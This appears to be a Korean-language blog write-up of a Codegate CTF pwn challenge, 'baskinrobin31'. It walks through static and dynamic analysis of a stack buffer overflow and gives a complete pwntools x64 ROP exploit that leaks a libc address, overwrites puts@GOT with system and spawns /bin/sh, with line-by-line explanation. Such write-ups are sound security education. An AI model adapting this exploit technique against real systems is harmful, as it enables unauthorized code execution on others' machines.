1. 시작하기전에...


한동안 바빠서 블로그 업데이트를 통..하지못했었는데, 새해도 되었으니 다시 시작해보려고합니다.

원래는 how2heap을 계속 올려야하는데, 지난 코드게이트 문제들을 리뷰해볼 기회가 생겨서 작년 문제 중 하나를 선정하였습니다.



2. 정적 분석


file 명령어 실행 결과 바이너리가 x64, dynamaically linked임을 알 수 있습니다.



checksec를 통해 Mitigation을 확인해보니 카나리도 없고, pie도 안걸려있습니다. Patial RELRO라 GOT도 덮어쓸 수 있습니다.


바이너리를 실행하면 술자리 게임 베스킨라빈스 31이 시작됩니다. 각 턴마다 1~3의 숫자를 입력받고, 남은 숫자가 표시됩니다. 



IDA로 디컴파일해보겠습니다.


main()


- 실행화면에서 봤던 문구들("### ~~ ###")들을 출력하고 남은 숫자(remain_val)가 0보다 클때 반복문을 실행합니다.

- 반복문 안에서 your_turn()함수가 제대로 끝났는 지 검사하는 is_your_turn_done의 값으로 분기를 실행합니다.

- my_turn()은 프로그램이 턴을 수행하는 기능이 구현되어있습니다.

- your_turn()은 유저의 입력으로 턴을 수행하는 기능이 구현되어있습니다.

- 유저가 이겼을 경우를 의미하는 것같은 분기문에서 힌트가 ROP라고 알려주고있습니다.



your_turn()


- 남은 수를 의미하는 remain_val의 포인터를 함수의 인자로 입력받습니다.

- 유저로부터 입력받은 숫자를 저장하는 변수가 150byte로 되어있습니다.

- 하지만 입력은 400byte까지 받을 수 있습니다. -> 스택 버퍼오버플로우가 발생하게됩니다.



helper()

디컴파일 후 함수목록을 잘 보면 helper()함수가 있습니다. hex ray로는 볼수 없고, 어셈코드만 볼 수 있습니다.

어셈코드를 보면 스택프레임 코드를 제외하면 pop rdi, pop rsi, pop rdx 코드 밖에 없습니다.


pop rdi, pop rsi, pop rdx, retn 가젯은 x64 rop에서 pppr로 사용하는 꼭 필요한 가젯입니다.

x64 함수 호출 규약은 x86 함수 호출 규약과 다르기때문에 rop 코드도 다른 부분이 있습니다.


x64 함수 호출 규약에 관한 자세한 내용은 아래 링크를 참조하세요.

링크 : https://kkamagui.tistory.com/811


2. 동적 분석

바이너리 실행 중 your_turn() 함수에서 "a" * 8을 입력한 다음 스택을 보겠습니다.


입력 값을 저장하는 버퍼의 주소는 0x7ffffffdb90부터 시작하고, 리턴 주소가 저장 된 주소는 0x7ffffffdc48에 저장되어있습니다.


따라서 버퍼 주소 - 리턴 주소가 저장된 주소는 0xb8(184)이고, 카나리가 존재하지 않기때문에 0xb8개의 dummy이 후 rop코드를 시작하면 됩니다.

 

3. exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98


from pwn import *

p = process('./baskinrobin31')

e = ELF('./baskinrobin31')

libc = ELF("./libc.so.6")

context.log_level = 'debug'

def launch_gdb(p):

   context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

   gdb.attach(proc.pidof(p)[0])

#find plt & got address

log.info("found address of read plt : %s" % hex(e.plt["read"]))

read_plt = e.plt["read"]

log.info("found address of write plt : %s" % hex(e.plt["write"]))

write_plt = e.plt["write"]

log.info("found address of puts plt : %s" % hex(e.plt["puts"]))

puts_plt = e.plt["puts"]

log.info("found address of puts got : %s" % hex(e.got["puts"]))

puts_got = e.got["puts"]

#real address of read func - real address of system func

puts_system_offset = libc.symbols['puts'] - libc.symbols['system']

'''

21 .dynamic      000001d0 0000000000601e28  0000000000601e28 00001e28 2**3

24 .data         00000010 0000000000602078  0000000000602078 00002078 2**3

25 .bss          00000020 0000000000602090  0000000000602090 00002088 2**4

'''

#binsh addr

binsh_addr = 0x602090 + 0x10

binsh = "/bin/sh"

log.info("puts to system offset : %s" % hex(puts_system_offset))

#0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; (1 found)

pppr = 0x0040087a

call_your_turn = 0x400AE5

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

#leak puts got

payload  = "a"*184

payload += p64(pppr)

payload += p64(1)

payload += p64(puts_got)

payload += p64(len(str(puts_got)))

payload += p64(write_plt)

#call your turn again

payload += p64(call_your_turn)  

#

payload2 = "a"*184

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(puts_got)

payload2 += p64(0x8)

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(binsh_addr)

payload2 += p64(len(str(binsh)))

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(binsh_addr)

payload2 += p64(1)

payload2 += p64(1)

payload2 += p64(puts_plt)

p.sendline(payload)

d = p.recvuntil("Don't break the rules...:(")

p.recv(2)

puts = p.recv(7) + "\x00"

puts = u64(puts)

p.sendline(payload2)

log.info("puts = 0x%x" % puts)

system_addr = puts - puts_system_offset

log.info("system = 0x%x" % system_addr)

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

p.send(p64(system_addr))

p.sendline(binsh)

p.interactive()

Colored by Color Scripter

cs


exploit 코드의 내용 개요는 다음과 같습니다.


사전과정

1. 호출하고 싶은 함수들의 plt 찾기(read, write, puts)

2. got를 덮을 함수의 got 찾기(puts)

3. 필요한 가젯과 오프셋 찾기(pppr, binsh_addr, puts_system_offset, call_your_turn)


ROP payload

1. read()함수를 호출하여 puts got에 있는 값을 알아내기

2. your_turn()를 호출해서 puts의 got에 system함수 got주소 쓰기

3. "/bin/sh"문자열 쓰기

4. puts호출해서 system함수 실행시키기


x64 ROP

앞서 말씀드린바와 같이 x64의 함수 호출 규약은 x86과 달라서 rop코드의 구성이 조금 다릅니다.

x64 리눅스에서 함수에 파라미터를 전달할 때, RDI, RSI, RDX, RCX, R8, R9의 순으로 전달하며 이 이상은 x86과 동일하게

스택을 이용해서 전달합니다.


따라서 x64에서 파라미터에 값을 전달하기 위해 pppr을 먼저 호출해서 함수 호출 전 파라미터를 세팅해야합니다.


코드 설명

13 ~ 24라인은 pwntools의 기능을 이용해 바이너리에서 사용하는 libc 함수들의 plt와 got를 구합니다.


27라인에서는 pwntools를 이용해 libc에 있는 puts와 system의 symbol offset을 계산합니다. 여기서 계산한 offset을 이용해

나중에 puts의 got에 써져있는 주소로 system의 주소를 계산할 수 있습니다.


50 ~ 56라인은 puts의 got에 써있는 주소를 릭하기 위한 payload입니다. 

59라인에서 다시 your_turn()함수를 호출하여 입력을 받을 수 있도록합니다.


62 ~ 67라인에서는 계산한 system의 주소를 puts의 got에 덮어쓰도록 합니다.


69 ~ 73라인에서는 bss영역 중 선정한 공간에 "/bin/sh"문자열을 저장합니다.


75 ~ 79라인에서 system함수를 호출하여 exploit을 완성합니다.


83 ~ 86라인은 50 ~ 56라인에서 릭한 puts의 got에 써있는 주소를 저장합니다.

90 ~ 92라인은 앞서 계산한 offset을 이용해 system함수의 실제 주소를 계산합니다.


95라인은  62 ~ 67라인에서 puts의 got에 덮어쓸 system의 주소를 전송합니다.

96라인은 69 ~ 73라인에서 "/bin/sh"문자열을 저장할 수 있도록 문자열을 전송합니다.


4. exploit 결과


+ Recent posts